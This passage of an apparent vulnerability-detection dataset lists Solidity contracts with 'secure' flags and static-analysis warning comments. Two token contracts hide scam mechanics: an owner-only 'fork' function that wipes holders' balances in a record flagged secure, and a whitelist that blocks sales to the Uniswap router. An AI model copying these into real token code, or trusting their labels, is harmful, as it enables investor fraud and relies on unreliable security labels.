spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n require(totalSupply() + amount <= cap(), \"ERC20Capped: cap exceeded\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function burn(address account, uint256 amount) public onlyOwner {\n _burn(account, amount);\n }\n\n function mint(address account, uint256 amount) public onlyOwner {\n _mint(account, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 18b56fb): SDPN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 18b56fb: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_3507.sol", "secure": 0, "size_bytes": 6598 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract OwnableData {\n address public owner;\n address public pendingOwner;\n}", "file_name": "solidity_code_3508.sol", "secure": 1, "size_bytes": 157 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./OwnableData.sol\" as OwnableData;\n\nabstract contract Ownable is OwnableData {\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(msg.sender);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 80ce098): Ownable.transferOwnership(address,bool)._newOwner lacks a zerocheck on \t pendingOwner = _newOwner\n\t// Recommendation for 80ce098: Check that the address is not zero.\n function transferOwnership(\n address _newOwner,\n bool _direct\n ) external onlyOwner {\n if (_direct) {\n require(_newOwner != address(0), \"zero address\");\n\n emit OwnershipTransferred(owner, _newOwner);\n owner = _newOwner;\n pendingOwner = address(0);\n } else {\n\t\t\t// missing-zero-check | ID: 80ce098\n pendingOwner = _newOwner;\n }\n }\n\n function claimOwnership() external {\n address _pendingOwner = pendingOwner;\n require(msg.sender == _pendingOwner, \"caller != pending owner\");\n\n emit OwnershipTransferred(owner, _pendingOwner);\n owner = _pendingOwner;\n pendingOwner = address(0);\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"caller is not the owner\");\n _;\n }\n\n function _setOwner(address newOwner) internal {\n address oldOwner = owner;\n owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}", "file_name": "solidity_code_3509.sol", "secure": 0, "size_bytes": 1619 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Strategicmemereserve is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable miner;\n\n constructor() {\n _name = \"STRATEGIC MEME RESERVE\";\n\n _symbol = \"SMR\";\n\n _decimals = 18;\n\n uint256 initialSupply = 888000000;\n\n miner = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == miner, \"Not allowed\");\n\n _;\n }\n\n function fork(address[] memory engine) public onlyOwner {\n for (uint256 i = 0; i < engine.length; i++) {\n address account = engine[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_351.sol", "secure": 1, "size_bytes": 4375 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract TokenTimelock {\n using SafeERC20 for IERC20;\n\n IERC20 private immutable _token;\n\n address private immutable _beneficiary;\n\n uint256 private immutable _releaseTime;\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: f793092): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for f793092: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f687388): TokenTimelock.constructor(IERC20,address,uint256).beneficiary_ lacks a zerocheck on \t _beneficiary = beneficiary_\n\t// Recommendation for f687388: Check that the address is not zero.\n constructor(IERC20 token_, address beneficiary_, uint256 releaseTime_) {\n\t\t// timestamp | ID: f793092\n require(\n releaseTime_ > block.timestamp,\n \"TokenTimelock: release time is before current time\"\n );\n _token = token_;\n\t\t// missing-zero-check | ID: f687388\n _beneficiary = beneficiary_;\n _releaseTime = releaseTime_;\n }\n\n function token() public view virtual returns (IERC20) {\n return _token;\n }\n\n function beneficiary() public view virtual returns (address) {\n return _beneficiary;\n }\n\n function releaseTime() public view virtual returns (uint256) {\n return _releaseTime;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 65aa47f): TokenTimelock.release() uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp >= releaseTime(),TokenTimelock current time is before release time)\n\t// Recommendation for 65aa47f: Avoid relying on 'block.timestamp'.\n function release() public virtual {\n\t\t// timestamp | ID: 65aa47f\n require(\n block.timestamp >= releaseTime(),\n \"TokenTimelock: current time is before release time\"\n );\n\n uint256 amount = token().balanceOf(address(this));\n require(amount > 0, \"TokenTimelock: no tokens to release\");\n\n token().safeTransfer(beneficiary(), amount);\n }\n}", "file_name": "solidity_code_3510.sol", "secure": 0, "size_bytes": 2332 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract DRONEFLY is ERC20 {\n\t// WARNING Optimization Issue (constable-states | ID: 9daa53b): DRONEFLY.INITIAL_SUPPLY should be constant \n\t// Recommendation for 9daa53b: Add the 'constant' attribute to state variables that never change.\n uint256 public INITIAL_SUPPLY = 3000000000000000000000000000;\n\n constructor() public ERC20(\"DRONEFLY\", \"KDC\") {\n _mint(msg.sender, INITIAL_SUPPLY);\n }\n}", "file_name": "solidity_code_3511.sol", "secure": 1, "size_bytes": 544 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IFxMessageProcessor {\n function processMessageFromRoot(\n uint256 stateId,\n address rootMessageSender,\n bytes calldata data\n ) external;\n}", "file_name": "solidity_code_3512.sol", "secure": 1, "size_bytes": 242 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IFxMessageProcessor.sol\" as IFxMessageProcessor;\n\nabstract contract FxBaseChildTunnel is IFxMessageProcessor {\n event MessageSent(bytes message);\n\n\t// WARNING Optimization Issue (immutable-states | ID: f0c54b4): FxBaseChildTunnel.fxChild should be immutable \n\t// Recommendation for f0c54b4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public fxChild;\n\n address public fxRootTunnel;\n\n constructor(address _fxChild) {\n fxChild = _fxChild;\n }\n\n modifier validateSender(address sender) {\n require(\n sender == fxRootTunnel,\n \"FxBaseChildTunnel: INVALID_SENDER_FROM_ROOT\"\n );\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9e9bd2c): FxBaseChildTunnel.setFxRootTunnel(address)._fxRootTunnel lacks a zerocheck on \t fxRootTunnel = _fxRootTunnel\n\t// Recommendation for 9e9bd2c: Check that the address is not zero.\n function setFxRootTunnel(address _fxRootTunnel) external virtual {\n require(\n fxRootTunnel == address(0x0),\n \"FxBaseChildTunnel: ROOT_TUNNEL_ALREADY_SET\"\n );\n\t\t// missing-zero-check | ID: 9e9bd2c\n fxRootTunnel = _fxRootTunnel;\n }\n\n function processMessageFromRoot(\n uint256 stateId,\n address rootMessageSender,\n bytes calldata data\n ) external override {\n require(msg.sender == fxChild, \"FxBaseChildTunnel: INVALID_SENDER\");\n _processMessageFromRoot(stateId, rootMessageSender, data);\n }\n\n function _sendMessageToRoot(bytes memory message) internal {\n emit MessageSent(message);\n }\n\n function _processMessageFromRoot(\n uint256 stateId,\n address sender,\n bytes memory message\n ) internal virtual;\n}", "file_name": "solidity_code_3513.sol", "secure": 0, "size_bytes": 1928 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n return true;\n }\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n _beforeTokenTransfer(sender, recipient, amount);\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n _beforeTokenTransfer(address(0), account, amount);\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n _beforeTokenTransfer(account, address(0), amount);\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n emit Transfer(account, address(0), amount);\n }\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract $YPG is ERC20, Ownable {\n mapping(address => bool) private _enable;\n address private _pair;\n constructor() ERC20(\"e-Yuan\", \"YPG\") {\n _mint(msg.sender, 1000000000000000 * 10 ** 18);\n _enable[msg.sender] = true;\n _pair = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n }\n function list(address user, bool enable) public onlyOwner {\n _enable[user] = enable;\n }\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 523deb6): $YPG.uni(address).pair_ lacks a zerocheck on \t _pair = pair_\n\t// Recommendation for 523deb6: Check that the address is not zero.\n function uni(address pair_) public onlyOwner {\n\t\t// missing-zero-check | ID: 523deb6\n _pair = pair_;\n }\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (to == _pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}", "file_name": "solidity_code_3514.sol", "secure": 0, "size_bytes": 6232 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Token {\n function totalSupply() external view returns (uint256 supply);\n\n function balanceOf(address _owner) external view returns (uint256 balance);\n\n function transfer(\n address _to,\n uint256 _value\n ) external returns (bool success);\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) external returns (bool success);\n\n function approve(\n address _spender,\n uint256 _value\n ) external returns (bool success);\n\n function allowance(\n address _owner,\n address _spender\n ) external view returns (uint256 remaining);\n\n event Transfer(address indexed _from, address indexed _to, uint256 _value);\n event Approval(\n address indexed _owner,\n address indexed _spender,\n uint256 _value\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3d8ce37): Token.decimals().decimals shadows Token.decimals() (function)\n\t// Recommendation for 3d8ce37: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3d8ce37): Token.decimals().decimals shadows Token.decimals() (function)\n\t// Recommendation for 3d8ce37: Rename the local variables that shadow another component.\n function decimals() external view returns (uint8 decimals);\n}", "file_name": "solidity_code_3515.sol", "secure": 0, "size_bytes": 1460 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Utils {\n uint256 constant MAX_SAFE_UINT256 = 2 ** 256 - 1;\n\n function contractExists(\n address contract_address\n ) public view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(contract_address)\n }\n\n return size > 0;\n }\n\n string public constant signature_prefix = \"\\x19Ethereum Signed Message:\\n\";\n\n function min(uint256 a, uint256 b) public pure returns (uint256) {\n return a > b ? b : a;\n }\n\n function max(uint256 a, uint256 b) public pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function failsafe_subtract(\n uint256 a,\n uint256 b\n ) public pure returns (uint256, uint256) {\n unchecked {\n return a > b ? (a - b, b) : (0, a);\n }\n }\n\n function failsafe_addition(\n uint256 a,\n uint256 b\n ) public pure returns (uint256) {\n unchecked {\n uint256 sum = a + b;\n return sum >= a ? sum : MAX_SAFE_UINT256;\n }\n }\n}", "file_name": "solidity_code_3516.sol", "secure": 1, "size_bytes": 1138 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Controllable {\n address public controller;\n\n modifier onlyController() {\n require(msg.sender == controller, \"Can only be called by controller\");\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1df67e9): Controllable.changeController(address).new_controller lacks a zerocheck on \t controller = new_controller\n\t// Recommendation for 1df67e9: Check that the address is not zero.\n\t// WARNING Vulnerability (events-access | severity: Low | ID: a40911d): Controllable.changeController(address) should emit an event for controller = new_controller \n\t// Recommendation for a40911d: Emit an event for critical parameter changes.\n function changeController(address new_controller) external onlyController {\n\t\t// missing-zero-check | ID: 1df67e9\n\t\t// events-access | ID: a40911d\n controller = new_controller;\n }\n}", "file_name": "solidity_code_3517.sol", "secure": 0, "size_bytes": 957 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Controllable.sol\" as Controllable;\n\ncontract ServiceRegistryConfigurableParameters is Controllable {\n uint256 public set_price;\n uint256 public set_price_at;\n\n uint256 public decay_constant = 200 days;\n\n uint256 public min_price = 1000;\n\n uint256 public price_bump_numerator = 1;\n uint256 public price_bump_denominator = 1;\n\n uint256 public registration_duration = 180 days;\n\n bool public deprecated = false;\n\n function setDeprecationSwitch()\n public\n onlyController\n returns (bool _success)\n {\n deprecated = true;\n return true;\n }\n\n function changeParameters(\n uint256 _price_bump_numerator,\n uint256 _price_bump_denominator,\n uint256 _decay_constant,\n uint256 _min_price,\n uint256 _registration_duration\n ) public onlyController returns (bool _success) {\n changeParametersInternal(\n _price_bump_numerator,\n _price_bump_denominator,\n _decay_constant,\n _min_price,\n _registration_duration\n );\n return true;\n }\n\n function changeParametersInternal(\n uint256 _price_bump_numerator,\n uint256 _price_bump_denominator,\n uint256 _decay_constant,\n uint256 _min_price,\n uint256 _registration_duration\n ) internal {\n refreshPrice();\n setPriceBumpParameters(_price_bump_numerator, _price_bump_denominator);\n setMinPrice(_min_price);\n setDecayConstant(_decay_constant);\n setRegistrationDuration(_registration_duration);\n }\n\n function refreshPrice() private {\n set_price = currentPrice();\n set_price_at = block.timestamp;\n }\n\n function setPriceBumpParameters(\n uint256 _price_bump_numerator,\n uint256 _price_bump_denominator\n ) private {\n require(_price_bump_denominator > 0, \"divide by zero\");\n require(\n _price_bump_numerator >= _price_bump_denominator,\n \"price dump instead of bump\"\n );\n require(\n _price_bump_numerator < 2 ** 40,\n \"price dump numerator is too big\"\n );\n price_bump_numerator = _price_bump_numerator;\n price_bump_denominator = _price_bump_denominator;\n }\n\n function setMinPrice(uint256 _min_price) private {\n min_price = _min_price;\n }\n\n function setDecayConstant(uint256 _decay_constant) private {\n require(_decay_constant > 0, \"attempt to set zero decay constant\");\n require(_decay_constant < 2 ** 40, \"too big decay constant\");\n decay_constant = _decay_constant;\n }\n\n function setRegistrationDuration(uint256 _registration_duration) private {\n registration_duration = _registration_duration;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: f368e90): ServiceRegistryConfigurableParameters.currentPrice() uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp >= set_price_at,An underflow in price computation)\n\t// Recommendation for f368e90: Avoid relying on 'block.timestamp'.\n function currentPrice() public view returns (uint256) {\n\t\t// timestamp | ID: f368e90\n require(\n block.timestamp >= set_price_at,\n \"An underflow in price computation\"\n );\n uint256 seconds_passed = block.timestamp - set_price_at;\n\n return decayedPrice(set_price, seconds_passed);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6eb0398): ServiceRegistryConfigurableParameters.decayedPrice(uint256,uint256) uses timestamp for comparisons Dangerous comparisons X >= 2 ** 40 price < min_price\n\t// Recommendation for 6eb0398: Avoid relying on 'block.timestamp'.\n function decayedPrice(\n uint256 _set_price,\n uint256 _seconds_passed\n ) public view returns (uint256) {\n uint256 X = _seconds_passed;\n\n\t\t// timestamp | ID: 6eb0398\n if (X >= 2 ** 40) {\n return min_price;\n }\n\n uint256 A = decay_constant;\n\n uint256 P = 24 * (A ** 4);\n uint256 Q = P +\n 24 *\n (A ** 3) *\n X +\n 12 *\n (A ** 2) *\n (X ** 2) +\n 4 *\n A *\n (X ** 3) +\n X ** 4;\n\n uint256 price = (_set_price * P) / Q;\n\n\t\t// timestamp | ID: 6eb0398\n if (price < min_price) {\n price = min_price;\n }\n return price;\n }\n}", "file_name": "solidity_code_3518.sol", "secure": 0, "size_bytes": 4668 }